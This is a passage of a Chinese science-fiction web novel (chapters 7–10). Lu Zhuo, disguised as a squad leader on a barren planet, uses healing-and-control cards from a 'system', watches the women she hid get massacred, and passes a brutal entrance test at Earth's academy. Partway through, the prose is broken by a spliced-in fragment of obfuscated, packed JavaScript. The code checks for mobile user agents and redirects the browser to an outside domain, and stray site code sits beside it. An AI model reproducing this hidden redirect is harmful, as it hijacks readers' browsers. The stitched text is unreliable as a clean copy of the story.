“你养的女人们连机器人都可以干扰，我要是为此被迫把整个机器人战队都自毁了，造成的损失、你这条命根本不够赔。 “不过看在你还可以帮我在地球面前背锅的用处上，我起码可以给你留个全尸。” 徐普的声音很平静，陆灼不知道［男也］和这位队长到底有多深的交情，但起码也有所来往。 但是徐普不仅看不出来她不是真正的队长，更在此时毫不犹豫就要把她扔出去。 为什么？这就是地球对于贫瘠星的态度吗？ 陆灼说不出什么，唯一能做的，只有提着力气、绝望一样地在脑子里强调： 【使用卡牌“胡愔”，治疗机器人的操作系统。】 【很遗憾，无法完成宿主的要求。】 7. 第 7 章 【使用卡牌“胡愔”，治疗贫瘠星的女人们。】 【很遗憾，距离过远，卡牌无法使用。】 “胡愔”不是气功卡牌吗？ 她在学校社团里见到的气功，的确是可以隔空运气治疗的，为什么不可以…… 陆灼想质问，但话到嘴边，还是变成了恳求： 【告诉我，有什么系统功能可以救她们？ 【怎样都好，救救她们，救救她们。 【让她们逃出去，或者，让她们安全抵达地下室也可以，求求你，求求你…… 【让她们活下去，求求你……】 可回应她的，只有冷冰冰一声： 【很遗憾，不能理解宿主的意思，无法回应。】 现在该怎么办…… 卡牌系统只能使用在能看见的人身上，她现在身边没有任何一个女人，无法使用任何一个治疗技能。 而她想要杀了眼前的男人，可唯一会的【气血失调】也因为［男也］身上戴着外骨骼而失效，她到底该怎么办…… 【那控制面前的这家伙撤回命令，或者让［男也］昏厥，或者让［男也］死！】 陆灼急急说道，机械音总算有了不同的回应： 【请宿主选择具体的卡牌技能。】 她当然已经尝试过了！ 可每一张卡牌、每一个技能的“使用”按钮都是没用的，她怎么按都没有用，怎么把这句话重复一百遍都没有用。 必须要像之前使用卡牌“义妁”的“技能一：气血失调”的第二作用那样说出具体的话术才行，可那也是她灵光一现猜出来的。 ……这该怎么办才好。 她摸向自己手臂的芯片，近乎徒劳地问： 【我现在是小队长，穆筱竹腿上的外骨骼是我的，我想要操控，可以吗？】 系统大发慈悲一样对她解释： 【外骨骼只能链接，无法认主，因此无法操控。】 那怎么办！那怎么办！ “义妁”的技能一是“气血失调”，“邢氏”是“察色按脉”，“胡愔”的气功、应该如何使用？ 气功……运气…… 最靠近徐普的机器人已经把枪口对准了她，正随时等着徐普的一声令下。 徐普垂眸看她的目光也终于染了点不耐，［男也］摆了摆手，似乎是要对机器人下达什么指令。 于是陆灼盯着徐普，在心里道： 【使用卡牌“胡愔”，使用气功隔着外骨骼控制其中的徐普。】 机械音再一次响起： 【恭喜宿主，试用成功“气功”技能，成功点亮该技能！】 【由于等级限制，仅让使用对象出现气血失调症状。】 那也足够了！ 只见徐普摆动的指尖倏忽一顿，修长的手指旋即蜷起，困惑一样地动了又动，这才偏头看了眼身边的机器人。 ［男也］随即转向其它机器人，手指又是熟练的动作，但那些机器人仿佛认不识［男也］一样，一动也不动，就像一座又一座静默的雕像。 徐普终于变了脸色，狠狠踹了陆灼一脚：“你那些女人们到底动了什么手脚！怎么我现在一个也操控不了了！” “您只是因为抓捕太久疲惫了而已。” 陆灼吃力地喘息着，周围还有零零散散的人正在搬运着零件，她趴在地上，让自己的身体紧紧贴住地面，掩饰着自己的动作。 她在脑子里一遍又一遍地用着，祈祷着徐普也许会因为晕眩回去休息，从而给她以及女人们喘息的机会。 ……毕竟谁也不知道，徐普竟然会来得这么快、又这么隐蔽。 毕竟就连小队长也以为，自己还有足够的时间可以对女人们刑讯逼供。 但是直到“使用”按钮彻底变灰，徐普也只是伸出双手，微微握拳又松开，似乎那修长的手指只是发麻了些许，并没有什么太大的改变。 依旧在惨惨的微光下，闪烁着让人厌恶的机械光芒。 陆灼忍不住想再抬眼凝望，但耳畔已经猝然响起她最不想听到的声音： “先生！女人们都抓到了！S级企图负隅顽抗，当场自爆，已经死掉了！” “S级自爆死掉了？！” 徐普的声音陡然上升，不知道是不是因为情绪过于激动，陆灼竟然看到［男也］的身体前后摇摆了几下，而后才堪堪站稳。 紧接着，［男也］直接揪住陆灼的衣领，把［男也］整个人提了起来，而后往通报的人那边走了过去： “带我过去，立刻，马上！” ［男也］边走边喘，语气沉得吓人， “你怎么知道那是S级？女人们狡猾异常，最喜欢玩些阴险狡诈的手段。” “先生，外骨骼在那S级的身上，那些女人们推推搡搡着让她赶紧跑，一个连着一个地要愚蠢地替她去死。 “当然，我们贫瘠星的武器也不是吃素的，一个接着一个的就把她们撂倒了。那个S级本来已经跑得不见人影了，我们刚打算换炮去轰，但是她突然调转回来，说着要为女人们报仇——简直是疯了！ “我也是第一次看到S级自爆，原来自爆时一刹那就成灰了——不过我们的外骨骼材质很好，是不会被自爆伤及的，不然的话，也不可能让那么多S级都乖乖替我们生孩子。” 通报的人似乎还在为自己表功，叽叽喳喳地说些令人作呕的话语，但这些陆灼都听不见了，她只觉得脑袋昏昏沉沉的，仿佛有一大堆东西在脑子里翻江倒海—— 自爆？怎么可能自爆？ 这里有芯片，有外骨骼，明明是科技时代，怎么会有修仙小说里才有的自爆？ 这是骗人的吧?甚至可能是徐普派人来试探她的身份，她不能慌，不能慌！ “先生，这就是S级手上的外骨骼。” 有人递来了一双机械腿，它是横放着朝上的，最上面正昂扬着一个粗壮的东西。 徐普打眼看见，嫌恶似的撇过眼，冷冷看着陆灼：“这都是什么时代的东西了？你还有这种爱好？” 陆灼几乎是一看到那个外骨骼就差点没站稳，她并不是害怕那个造型——相反，她正是庆幸有那个造型，她才为自己几乎荒谬的“女扮男装”找到借口。 她是害怕，如果外骨骼在这里，那穆筱竹…… “你个孬种！” 正在迟疑之间，一声破口大骂却突然迎面撞向了陆灼，她转过眼，看见那与她没见过几面的、一直在楼上打掩护的女人正梗着脖子朝她骂着， “你知道死的是谁吗？是你唯一可以进地球学院的希望！ “哈哈哈哈哈，S级死了，你就一辈子靠这种丑陋又恶心的外骨骼、在贫瘠星显摆你小队长的威风吧！” “呵，这种人渣、怕是没有下半辈子了。” 矮胖女人恶狠狠的，半圆形地指了指自己和身边的人， “藏了这么多女人，还妄图威胁地球人，你也是活到头了！” 陆灼下意识对上女人们的视线，她们都直直盯着自己，眼底波涛汹涌，尽是难以抑制的悲愤。 因为筱竹？ 还是因为自己没有保护好她？ “闭、闭嘴！” 陆灼抖着嘴唇，一把夺过外骨骼，而后飞速往自己的身上套上去—— 几乎是一刹那，一阵尖锐的刺痛瞬间往她的脑门上窜去，仿佛刀凿斧刻一般地搅弄着她脑子里的每一处组成。 不愧是需要精神力才能绑定的外骨骼，像她这种根本没有尝试过的…… “怎么，这不是你的外骨骼吗？”心慌意乱之间，陆灼竟然没有发现，一旁的徐普正沉沉看着自己，“还是说，你也被那S级影响，控制不了自己的精神力了？” “绝对没有的事情，先生。” 陆灼拼命挤出一个讨好的笑容来，她现在也学会了对徐普的称呼，只是喊出来的时候，总带着点蹩脚的腔调， “我只是被气晕了，现在完全没事情了。 “如果您担心，我可以围着你跑一圈证明自己……” “撒谎！” 可徐普却一下子晦暗了眼神，径直掐住了陆灼的脖子，一字一顿地道， “我看你不对劲已经很久了，你别想蒙混过关！ “老实回答，你到底是谁？” 又一次的窒息感扑面而来，但这一次，陆灼已经可以勉力维持住镇静，用那种惊慌到磕磕绊绊的声音连声道： “先生……长官……领袖……就是我，不是我的 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“不过，天堂星光辉灿烂，是不可能发生这样的事情的。” ［男也］神色一松：“看来，你大概率就是……” “杀了你们！给筱竹陪葬！” 一声暴喝突然响起，水肿女人不知道为什么，猛虎扑食一样扑了过来，手上举着的—— 竟然是一根伸缩旗杆！ 旗帜上的图标陆灼看不懂，但她下意识就要挡在徐普面前，伸手就要握住水肿女人的动作—— 她如今有希望能够说服徐普，女人们没必要做此困兽之斗！ 但旗杆已经伸过来了，徐普也几乎是气急败坏地高喝： “她怎么敢把我飞船上天堂星的旗帜折下来！” 徐普挥舞着手臂，指挥着机器人将发射器对准女人： “杀了她！杀了她！” “轰隆隆”的声响立刻覆盖了整片区域，陆灼下意识使出“胡愔”的卡牌要阻挡，但能在徐普身上使用的次数已经用尽，她再也无力回天。 她只能徒劳地切换“义妁”和“邢氏”，看着她们的血条，给她们疯狂补气血。 但发射器的威力当然不是钝刀割肉，只要一刹那，陆灼便眼睁睁看着，几人的血条如同飞流直下三千尺一样，极速归零—— 【警告！贫瘠星女性死亡超过99%任务即将失败！任务即将失败！】 ……只是99%！还有人活着！ 陆灼下意识扑过去，按钮继续切换着，但已然悉数变灰，一下也没有用处。 她探着每一个人的鼻息，震惊到几乎说不出话来。 但她越感觉在场每一个人的静息，越是知道，她必须说话： “这些年来，她们是如何躲藏的、我都没弄清楚。 “你这样贸然杀了所有人，让我还有什么刑讯逼供的可能？” “那就不要做了。” 徐普俯视着陆灼，唇角忽而勾起了一抹笑容来， “不过，我有一个问题想问你。 “你什么时候学会的治疗？ “既然你有治疗的天分，刚刚我被S级干扰的时候，你为什么不出手？” “我一个都没救起来，能会哪门子的治疗？” 陆灼阴沉着脸，学着底层男性的模样发着气急败坏的火，可徐普却像没听到一样，只笑了一声，然后凑近年轻女人，伸脚踩了一口她的胸口。 陆灼眼睁睁看着，年轻女人的胸口起伏了一下，而后又陷入了微弱的呼吸之中。 竟然还有人活着！ 陆灼面色一喜，下意识就要去扶，但徐普却突然低下头去，在那手表一样的东西上操作了一下—— 只听“碰”的一小声，年轻女人的手臂忽而炸开了一朵绚丽的血花，紧接着，那胸口微弱的起伏就彻底不见了踪影。 徐普叹了口气：“弱者的自爆就是这么没劲，真想亲眼看看你们说的那位S级的自爆啊。 “一意孤行，主动出击，那炸的、大概率要比这个好看得多。” 原来这就是自爆。 陆灼近乎麻木地想着，那她这样被嵌入芯片的人，可不可以也像这样自爆呢？ 8. 第 8 章 “或者，让我来看看、你自爆的样子呢？” 徐普饶有兴致地看着陆灼，眼神毒蛇一般，紧紧缠绕着陆灼的身体。 那眼神，骇得陆灼几乎颤栗，眼前也不由自主翻涌起一阵又一阵的血色，她几乎是靠着那对她来说陌生得沉重的外骨骼才得以站稳身体。 她很慢很慢地笑了下，带着点挑衅的神色，望着徐普：“先生，贫瘠星的人、营养液的供给都是有限的。 “我的供给又被偷着养了这么多女人，所以我也不瞒您说，有时候饿得凶了，我也会偷偷捡垃圾吃。” 女人们的尸体被机器人们载了起来，没由贫瘠星的人动手，于是陆灼的余光，便总能看到熟悉的胳膊或者腿。 她嗓子发紧，却还是在说： “我只是个贫瘠星的下等人，没资格知道那些垃圾到底是什么成分，也不知道怎么回事，有一天，我突然就会摸到了一点门道。” “你已经不是最底层了。”徐普眯了眯眼睛，语调很稳定，“除了你，谁还能养得起这么多女人？” ……也是。 在一片纷繁复杂的发展里，陆灼突然意识到了一件事情—— 之前，小队长一直以为自己把“二姐”藏得很好；那些躲起来的女人们也以为自己躲得很好。 但是，贫瘠星里到底也是有这么多人，真的没有一个人知道吗？ 也不见得。 但是这里等级太森严，规则也形同虚设，就算看见小队长违反规则、也只会习惯性地以为这是上层人的特权。 就这样一层又一层地压迫，更上层人看似控制着一切，但在某些时候，也会像“蒙在鼓里”一样。 真的“蒙在鼓里”吗？ 陆灼也不知道，但她同样很快地意识到，那些人可与故意制造这样的表象，这样的话，出了事情，就可以置身事外地把小队长推出去了。 陆灼侧过眼，看着那些贫瘠星的队员们各个低着头，在离得较远的地方听候着吩咐，但她仔细去看，偶尔也能看见一两个向她投来愤恨的目光。 这会不会就是徐普这么有把握拿捏小队长的原因之一呢？ 这些操作太眼熟，陆灼竟然荒诞地在这个世界里找到了一点熟悉感。 她冷冷收回目光，重新望向了徐普。 与此同时，机器人们已经将尸体运完，有一个机器人来到了徐普的身边，捧着的手心里放着几片闪着暗光的芯片。 陆灼知道，那些是女人们的芯片。 带着定位的，象征着生命的，曾经和她在一起的， 都在那里了。 她忍不住想， 现在，再也不是她之外的事情了。 她就是其中的一员。 “先生，多亏了您的英明领导，我才能与暴露的女人周旋，成功配合您抓到了所有的女人！ “可惜，因为我本人的失误，让S级有机会自爆，让地球和天、天堂星错失了一个S级的……女性！” 陆灼靠近徐普一步，试图站出军训里学过最笔直的站姿， “请先生指示！” 只听徐普似乎轻嗤了一声，而后终于侧过了眼神，瞥了眼那些芯片，这才慢吞吞道： “你虽然有过，但也算有功。 “我记得，你之前和我说过，想进学院、是不是？” “是的，先生！”陆灼的每个字眼都铿锵有力，“我虽然是C级，但有幸有能力可以链接外骨骼，而且还机缘巧合下有机会学会治疗能力，请您给我这个机会，让我为您效忠！” 周围回荡着陆灼慷慨激昂的保证，但身处语句中间的徐普却没吭声，只伸出手，重新按了几下那像手表一样的东西，旋即，便对准了陆灼： “再检测一下你的芯片。” 陆灼还没反应过来，只看见自己的胳膊突然亮了一下，紧接着，一阵酥麻闪过，眼看着稍稍止血的伤口重新又“汩汩”涌出血来。 她心下又是一紧，而后，徐普便走近了半步，伸手直接把她的芯片重新扣了出来： “我已经上报了维修，你跟我去学院之后，会有人替你重新安装。” ……这算是，过关了？ 陆灼浑身一酸，紧接着，徐普就接上话头了： “不是对我效忠，是对地球和天堂星效忠。 “不是机缘巧合学到新的能力，是必须成为可以参与战斗的治疗师。 “也不是我答应你进入学院，要想真的进去，必须通过入学测验。” ［男也］看过来，目光陡然尖锐，似乎要把陆灼整个人都拨筋抽骨： “只能链接个古早外骨骼的C级，几乎是没可能进入学院的。” C级……C级！ 陆灼的面色陡然一变，就算外貌可以蒙混过关，芯片也可以强行转移，但精神力这一关她是怎么也逃不过的。 刚刚重新套上这个外骨骼就让她这么痛苦了，她真的还能有像小队长那样的C级的能力吗？ 陆灼感觉自己口中微微发苦，嘴巴已经下意识开口试探道： “我吃了那些不知名的垃圾，会不会影响到我的精神力？” “就算你有可能学会治疗，要想从C级跃到B级，几乎是不可能的。” 徐普已经转身往飞船的地方走，但陆灼缀在后面，脚步却不由自主地开始放慢—— 那从C级跌到没有，有没有这种可能呢？ 但她不敢问，只能眼睁睁看着徐普来到口岸，在那里，已经有人开来了新的飞船—— 贫瘠星的消息已经传到地球了！ 陆灼面上发紧，她只能慢慢深吸了一口气，用指甲重重掐进自己的手心里，而后才能跟着徐普上了飞船。 起飞，也许还有传说中的跃迁，但这些，陆灼都没有明确的感觉。 她被徐普关进了昏暗的医疗舱里，像一块案板上的肉一样，被当做需要治疗的对象，被各种各样的治疗器械包围。 直到飞船降落。 一开门，一阵浓重的灰尘便扑面而来，有机器人上前给陆灼罩上了眼罩，扛着她走了不知道多久。 等到被揭开眼罩、再次睁眼，陆灼便看到了一扇看起来很是偏僻的小门。 门被人从里面推开，而后是赤裸裸的一句嘲笑：“长得倒挺漂亮，难怪被徐普看上了。” 是个男人。 略略有些瘦弱，眉目很清秀的一个男人。 陆灼沉沉看了［男也］一眼，警告道： “姥子是管理贫瘠星的队长，给姥子放尊重点！” “贫瘠星的？那更可以玩个新鲜。” 男人向下瞥了一眼，还想再说些什么，已经被徐普冷声打断： “天堂星规定，不许私下斗殴，不许私自泄欲。 “你想被惩罚吗？” 陆灼垂眸，不动声色地笑了一下—— 不允许私斗，不允许泄欲，减少费力□□，充分利用力气。 下一刻，只听一阵纷杂的脚步声传来，那小门处，又露出了几个人的身影。 为首的是个衣冠楚楚的年长男人，率先不悦地看了眼徐普： “徐先生，学院招生在昨日已经结束了，您也不是不知道。您临时说要多加一个人，哪里是这么容易的事情。” “所以我特意把人送来了小门，尽量不给您带来麻烦。” 徐普语气客气了几分，而后目光扫过年长男人周围的男人们， “但是主任，您带来的这些人……” “既然是招新，自然需要一些见证人。” 教育处主任清了清嗓子，指了指周围的人， “这些都是见证人，看着我们测试，免得说地球学院徇私舞弊。” 徐普脸色沉了几分，主任已经自顾自介绍了起来： “上一学年的第一战斗师，萧勃。” ［男也］指了指第一个出来的那个清秀男人。 “上一学年的第一治疗师，纪良。” ［男也］指了指身后跟着的第一个人。 “这次招新成绩最高的治疗师，梅铮。” ［男也］又转身指了指另一侧跟着的第一个人。 眼见着［男也］还要继续介绍，徐普下意识打断，脸色竟然透出几分隐忍： “那就麻烦快一点走流程，我送到了人，还要去向会长复命。” ［男也］咬重了“会长”两个字，面前的人们瞬间变了脸色—— 徐普是地球 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再之后，一个硕大的“C”字母就亮了起来。 陆灼下意识心头一松，再然后，在字母的下方，就浮现出了一个清晰的数字—— “5。” 5？什么5？ 陆灼松下去的一口气又立刻提到了胸口，一旁的梅铮抑制不住一般地笑了一声，而后捂着侧腹，像是岔气了一样哈哈大笑起来： “男人的基础分值是15，就连女人也是个10，你竟然只有5？” 竟然还有数值？ 那怎么办？她的数值大概率是和小队长对不上的！ 陆灼咬紧牙关，脑中的刺痛又重新剧烈起来，她下意识看向徐普，观察着［男也］一丝一毫的神情变化—— 徐普是唯一和小队长有过交集的人，一旦被徐普彻底发现不对劲，她可就完蛋了！ 不行，不可以完蛋，就算到那个地步，她也一定要想办法…… 可是，有什么办法呢？ 陆灼下意识想打开系统，但是心脏跳得太快，头也像有斧子去凿一样疼痛，好不容易呼唤出来的卡牌也在她的意识里变得模糊起来。 就在这时，徐普又开口了：“［男也］最近觉醒了治疗师的能力，还不够稳定，可能影响了精神力的数值。” “治疗师？现在怎么什么阿猫阿狗都可以说自己是治疗师了？” 梅铮冷笑起来，望向徐普的目光也带着少男人的刺来， “行啊，既然如此，那我们就来试试好了！” 一直没说话的纪良转眼看［男也］： “你想怎么试？假人太重了，我们可没人把假人搬过来。” 治疗师练习有专门的假人可以练，但是一般也要在精神力检测分数出来之后。 现在陆灼连基础分值都没有达到，还想要进一步测试？那不过是徒劳浪费时间罢了！ “假人？这家伙还不够资格碰假人。” 梅铮的笑容变得极淡，反而露出些不怀好意起来，而后反手从身后拽了个人出来， “没有假人，咱们这里可是有真人。” 下一刻，［男也］不知道从自己的口袋里拿出了个什么注射器，对着随手拉来的人就是一针！ 那人下意识张开嘴要叫，主任眼疾手快地捂住了那人的嘴巴，面上的表情一丝未动： “梅铮，你这做得可就有点过了啊。 “不过孩子，你也别怕，梅铮既然敢扎就肯定心里有数，再不济，纪良也在这里的。 “实在不行，徐普先生也可以上报天堂星，给你发阵亡补恤金啊。” “天堂星不允许私下伤害活人，你们难道是都忘了不成吗！” 徐普提高了音调，立刻要去掀开主任的手，主任则看了过来，答道： “天堂星也不允许在招新结束后一天私自招人进来。 “行了，徐普先生，人有了，让这位精神力数值是5的贫瘠星公民治疗一下吧。 “也好让我们看看，徐普先生的好眼光啊。” 9. 第 9 章 陆灼抿了抿唇，指甲已经深深嵌进肉里，但她努力控制着自己的身形，让自己尽可能显得镇定。 而她的身侧，徐普已经看了过来，抬了抬下巴：“那就来吧。” 无论如何，都是要来的。 这些人嘴里所有的仁义道德，都抵不过权力和实力。 于是陆灼往前走了一步，目光落在了面前的伤者身上。 被推出来的男人也穿着外骨骼，此时仿佛被那一针彻底刺倒，再也没有要挣扎的样子，安安静静地躺在地上。 如果不是胸口还在轻微地起伏，陆灼差点以为，为了不让她过关，这群男人竟然直接把人弄死了。 ……没死就好。 没死就还有机会。 陆灼凑近几步，继续慢慢打量着—— ［男也］的外骨骼很匀称，较人类似乎也并没有加强哪里。 但终归与人不同。 她救过女人们，控制过穿着半身外骨骼的小队长，但是对于外骨骼和机甲却无能为力。 ……但也不是全无作用。 陆灼蹲下身子，先看了眼梅铮： “你的药会把［男也］弄死吗？” 梅铮根本没有说出针剂的作用，这样的话，就算她真的侥幸成功，也很难有办法证明是她的功劳。 但梅铮只是弯了弯唇： “这些都是失败者，只要不弄死就行。 “不过，要是你弄死了，也不是我的责任。” 陆灼抿紧下唇，转头又望向徐普：“我一直在贫瘠星，从来没有接触过太多外骨骼，所以、对包着外骨骼的人的治疗实在有限。” 徐普沉了脸，纪良更是冷笑了一声：“你以为地球学院还是你待着的那个贫瘠星？如果没办法为人上人治病，倒不如滚回你那个人下人的世界。” 陆灼目光沉定，手掌已经轻轻覆盖在了伤员身上，在心底慢慢喊出了“胡愔”的名字。 与此同时，她嘴上继续说：“不过，你们治疗不就是为了能让人继续战斗吗？ “既然如此，这样可不可以呢？” 话音刚落，刚刚还紧紧闭着双眼的男人突然站了起来，［男也］合着双目，可手却猝然抬起，五指成爪，猛然间向着梅铮冲了过去！ ［男也］速度并不算极快，但谁都没有想到刚刚还躺着的人能够突然暴起，一时间竟然没有人反应过来。 还是萧勃最先出手，直接钳住了男人的手腕，将［男也］定在了原地。 纪良看向陆灼，皱紧了眉头：“你这是哪门子邪术，全靠操纵别人……” 说时迟那时快，几乎是一瞬间，男人突然睁开了双眼，脖子也缓缓转动了过来，径直看向了纪良。 纪良只觉得后脖颈的汗毛都要一根一根竖了起来，就听男人开了口： “你们、凭什么随意拿我做试验？ “一个两个，都是卑贱的治疗师，怎么敢拿不可或缺的护卫师做实验？” “看中你那是给你面子！别不知好歹！”一个拳头陡然从男人面前袭来，梅铮像被踩到了尾巴一样，攻击接二连三，直打得男人连连后退。 男人像是连线木偶突然被散了架，一瞬间朝后倒去，而后便见陆灼往旁边错了错，整个人便如同一幢巨大的金属建筑物一般，径直激起了一众灰尘。 另一边，陆灼拍了拍掌，抖落了些不存在的灰尘，终于露出个温和妥帖的笑容来： “又被打倒了，那这下，需要我治疗吗？” 梅铮下意识反驳道：“能打我算什么本事？针剂的效果还没有解……” “战场上，能打不就是最重要的本事了吗？”陆灼抱起胸来，很快地又笑了一下， “再说，我怎么知道，你口中说的针剂的症状，不是因为你刚刚打［男也］导致的呢？” ！！！ 这家伙是故意的！ 几乎是一瞬间，所有人都意识到了这一点，一束又一束目光毒蛇一样缠绕到了陆灼的身上。 可陆灼只是稳稳站着，用一种稳操胜券的笑容环顾着所有人，而后目光终于落到了主任身上，耸了耸肩膀： “现在，我算给徐普先生丢脸了吗？” 有轻微的脚步声响起，陆灼知道，是徐普很慢地站到了自己的身后。 主任于是从容地伸出了手： “欢迎你加入，你叫什么名字？” 这一瞬间，陆灼突然又重新意识到了之前的想法。 地球和贫瘠星的差别还在于此。 贫瘠星以编码和芯片代称，虽然言必称公民，但其实并不把其当做人。 而在地球，才是真正来到了有些许文明的世界。 陆灼不知道小队长有没有名字，也不知道徐普到底知不知道。 但她知道，她回答的是： “我叫陆灼。 “灼烧的灼。” 就让她这一把火焰，烧掉这个先进又黑暗、逻辑十足却又丧心病狂的世界吧。 与此同时，陆灼听见机械的声音又响起： 【恭喜宿主完成“逃离贫瘠星”任务。】 【任务奖励：解锁相应系统规则，请宿主仔细阅读。】 系统、规则？ 每一个字都很清楚，陆灼的大脑却像陡然间被狠狠震动了一下。 她的眼前自动浮现出系统界面，系统正在给她讲解一个又一个图标含义、次数限制、目前已知的规则。 讲到“升级”按钮的时候，陆灼还知道了自己刚才就隐隐发现的事情—— 救不同人得到的经验值及对应效果是不一样的，女人最高，男人最次。 陆灼应该高兴，毕竟她终于不需要靠尝试才能够得到一些她本来就应该被告知的信息。 可此刻，她却觉得眼前一片模糊，眼眶涨得发疼，她却还是下意识强忍着，才能勉力忍住。 主任宽厚地笑道：“孩子，你盼望进入学院很久了吧，擦一擦眼泪，跟我们一起进去吧。” 不是的，不是的。 她不是因此哭泣，或者说不仅仅是因此哭泣。 她不是为了这个牺牲了这么多人才得到的入学机会而哭泣。 她是想知道，女人们明明可以在地下再躲很多个时日，为什么在见到她这个希望之后、又这样像炮灰一样赴死？ 她好恨所有的伟大，所有的价值，所有的无私奉献。 她更加恨： 【系统，你把我带来这里，给我这些卡牌，拥有我根本无法理解的力量。 【你如果真的想救‘女人’，为什么要看着那些女人死去？ 【我好不容易走到这里，你却只让我了解规则，嵌入一个全新却又重复的结构里？】 【恭喜宿主取得新任务“新的开始”，顺利入学。】 【恭喜宿主完成支线任务“完成入学测试”，任务奖励：抽卡机会一次！】 突如其来的支线任务，任务奖励竟然还是抽卡机会。 系统是想和她挽回关系吗？ 陆灼敛了神色，一边被徐普轻轻推搡着往里走去，一边低声问： 【……你那里有没有复活的卡牌？】 系统默了一下，反问陆灼：【在你的认知里，古地球的中医大姥里有没有可以起死回生的？】 当然没有。 起码在她的意识里没有。 但这是系统。 古地球还没有外骨骼和机甲这些东西呢。 陆灼沉了沉眸色，压低了声音： 【你是掌管卡牌的系统，不要和我绕圈子。】 【我是系统，但也不是掌管卡牌。】 系统依旧是平淡无波的声音， 【你又怎么知道，我不是受人控制？】 【不要和我装可怜。】陆灼一边答着，一边跟着主任往前走。 这个小门似乎是通往宿舍区的，一进门便是鳞次栉比的楼房。 让陆灼感到些许安慰的是，这些楼房看起来都是独栋，似乎并不是像古地球的楼房—— 无论是四人寝或者六人寝、若有似无的卫浴，想来都要比古地球的环境好上不少。 主任并没有往里走，而是似乎沿着学校的边缘走着。 一路上，有人陆陆续续地和主任告别，而后回到自己的宿舍—— 这些，大概是离这个门近一点，从这个门出去更方便一点？ 按照古地球的排布，学院肯定还有其它大门，说不定她也能去个离门比较近的地方。 ……说不定也可以偷偷溜出去看看。 陆灼正想着，面上却忽而一阵汹涌的风席卷而来。 她下意识抬头看去，便见身边的人几乎已经消失殆尽，而自己的面前、赫然是一片空旷的地面—— 不，是悬崖。 望不到底的、混着奇怪气味的悬崖。 陆灼看向了主任。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449039|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 便见［男也］手往旁边一指，指向了整片宿舍区里、离悬崖最近的一整排宿舍，望向陆灼： “请选一间吧。” 宽厚地给予选择，但其实都是在屎里挑屎罢了。 陆灼却看了眼悬崖： “那下边是什么东西？” “那是垃圾场。” 唯三的徐普答完，也看向主任， “有没有单人间？” ［男也］补了一句： “［男也］刚从贫瘠星过来，没必要和别人打交道。” 主任于是定了手指：“那就这一栋吧。” 于是陆灼的住所就这样被定下了。 说实话，坐北朝南，垃圾场并不在房子的南边，大概也不会有味道传进来。 屋子很好，人刚一进去就会自动感应开灯，而后屋子里会自动恒温恒湿，维持合适的氧气比，终于有了一些科技感。 陆灼应该很高兴，但被徐普带进去的时候，心里还是忍不住发紧。 徐普先站住脚：“你就住在这里吧。” 陆灼顿了一下，转头看徐普：“女人们的尸体会运到哪里？” 徐普很快地皱了下眉头：“你问这个干什么？” “我有这么好的功劳，光是让我入学院、是不是太少了一点？” 陆灼盯紧徐普， “而且，你让我进来，肯定也有你自己的考量吧。 “既然要等着你不知道什么时候找来的任务，不如我为自己多争取一点。” 在来之前还信誓旦旦说为徐普效忠，等到真的入了学院，竟然这么快就变了脸色？ 徐普的脸色瞬间沉得能滴水，［男也］几乎是冷笑了一声，才道： “女人的尸体当然是交给天堂星处理，我会亲自处理这件事。 “至于你，就老老实实在这里呆着，别想些你不该想的事情。” 竟然要送去天堂星？ 陆灼面色一紧，刚想再说什么，只觉得一阵掌风袭来，再然后，一个巴掌便重重地打在了她的脸颊上。 巨大的痛感自皮肤蔓延，陆灼感觉一阵热流瞬间传遍四肢百骸，紧接着，便感觉那一处有一阵突兀的涌动感，而后，便是明显的肿胀。 陆灼当即瞪圆了眼睛，看着徐普垂下的目光里满是冷意。 徐普在说：“说话之前好好动脑子，想一想要和我说些什么。” 陆灼下意识握拳，徐普却只又望了她一眼，旋即径直转身离开。 她是太心急了。 她忍不住想询问女人们的情况，但又害怕自己会被发现踪迹，所以下意识用恶劣的情绪来遮掩。 虽然没想到会挨这一巴掌，但是挨了也就挨了。 陆灼没有去看徐普的走向，而是去窗台往外看。 窗子紧闭，没有气味，但是能清晰地看见悬崖的地方。 她仔细看了一会儿，终于能看到，有些许飞机从悬崖的上方飞过，丢下一个又一个大包—— 那些东西陆灼很眼熟，因为在贫瘠星时她就经常看到。 是垃圾。 果然是垃圾场。 但是，这里为什么有这么大的一个悬崖？ 或者说，这么大的悬崖、这么大的垃圾场，为什么要包裹在学校的范围里？ 她下意识想问系统，但是这系统一直是一个很难交互的状态，陆灼怀疑自己就算问也得不到答案。 她被徐普安排了单人间，虽然可以一个人享受一整个屋子，但也让她很难有机会找到其它人去问。 陆灼正想着，熟悉的机械音又重新响起： 【检测到宿主正在进行“新的未来”任务，系统自动发放任务详情。】 任务详情？ 是因为之前的系统规则奖励、导致她可以从系统这里得到更多信息，还是因为感知到她的疑惑、系统终于主动解惑？ 陆灼点开任务详情，发现发放的是关于这个世界的百科全书。 这样的好东西，竟然是现在才发放。 陆灼很想吐槽，但还是看了下去—— 3050年，地球资源耗竭，大陆被海洋淹没，剩下南极国和北极邦。 北极邦底层被灾害湮没，而富豪建造飞船离开。 南极国则迅速建立集/权统治，积极收敛财富，一边积极研究机甲，一边试图挽救地球。 而悬崖，就是地球被“掏空”了的表现。 10. 第 10 章 这里的垃圾都是如此处理的吗？ 回收利用、清洁再加工的过程都没有了吗？ 陆灼想在“百科指南”里再仔细找一找，只可惜，这一部分仅仅言尽于此—— 只有多了一个的空行符，再之后就是其它内容了。 …… 等到囫囵吞枣地大致看完，天边已经泛起了鱼肚白。 陆灼从窗户往外看，夜里打开的灯光已经尽数关闭，四周反而朦胧了起来，有些看不清楚。 她正忍不住失神，有一个小黑点却极速从天边飞了过来，而后猛一下往窗户直直飞来！ 陆灼立刻后退了半步，这个窗户无法开启，难道这个东西要直接把窗户撞碎进来吗？ 但所幸，就是这一刹那间，小黑点在窗户前停了下来。 这一下，陆灼也终于看清楚，过来的竟然是个人。 是梅铮。 ［男也］来干什么？ 陆灼皱眉，刚刚的梅铮仿佛化成了一个流线体的物体，直到来到近前，才展开四肢，又成了个人的样子。 